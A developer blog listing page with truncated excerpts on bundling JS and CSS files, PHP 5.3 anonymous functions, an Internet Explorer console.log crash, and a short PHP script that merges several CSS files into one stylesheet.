How to Compile JS & CSS to one file for best performance

Written by . Filed under Developer Tools, JavaScript, jQuery. Tagged , , , , , , , , , , , , , . .

Hey,
To get the best performance on your website you need to reduce external call like js & css files.
I build little BASH script that compile all your files to one JS file and one CSS file.

We will use some tools like : Google Closure & dos2unix

1. Create “build” folder in your application.
2. Create the files “js_list.txt” and “css_list.txt” and write line by line all your js & css files.
3. Download Google Closure and copy the file “compiler.jar” to this folder.
4. Create the file “build.sh”

Anonymous functions now available from PHP 5.3

Written by . Filed under News, PHP + mySQL. Tagged , , , , , , , , , , , . .

Anonymous functions, also known as closures, allow the creation of functions which have no specified name. They are most useful as the value of callback parameters, but they have many other uses.

Example:

1
2
3
4
$myName = function($name)
{
    echo "My name is $name";
};

Or you can use it as callback like javascript

$arr = array(

    "age" => "27"
);

$callback_function = function ($field, $field_value)
{
    echo "$field = $field_value";
};
       
array_walk($arr, $callback_function);

$callback_function = function ($field, $field_value) use ($prefix)

JS: Prevent IE crash when using console (console.log)

Written by . Filed under JavaScript. Tagged , , , , , , , , , , , . .
console is undefined

console is undefined

When the console is close and we call console.log from javascript most of the times
Internet Explorer will crash with the message:

Merge CSS files into one file with PHP

Written by . Filed under PHP + mySQL. Tagged , , . .

Hey,
Most of the big websites have many css files and the browser need to load them one by one.
There is a easy solution to merge them to one file using php.

css_loader.php

<?php
// First of all send css header
header("Content-type: text/css");

// Array of css files
$css = array(
    'main.css',
    'menu.css',
    'content.css'
);

// Loop the css Array
foreach ($css as $css_file) {

    // Load the content of the css file
    $css_content = file_get_contents($css_file);

    // print the css content
    echo $css_content;
}
?>

Not include the CSS Loader file

<link href="css_loader.php" rel="stylesheet" type="text/css" />

Now all the CSS files are merged into one file.

Have Fun,
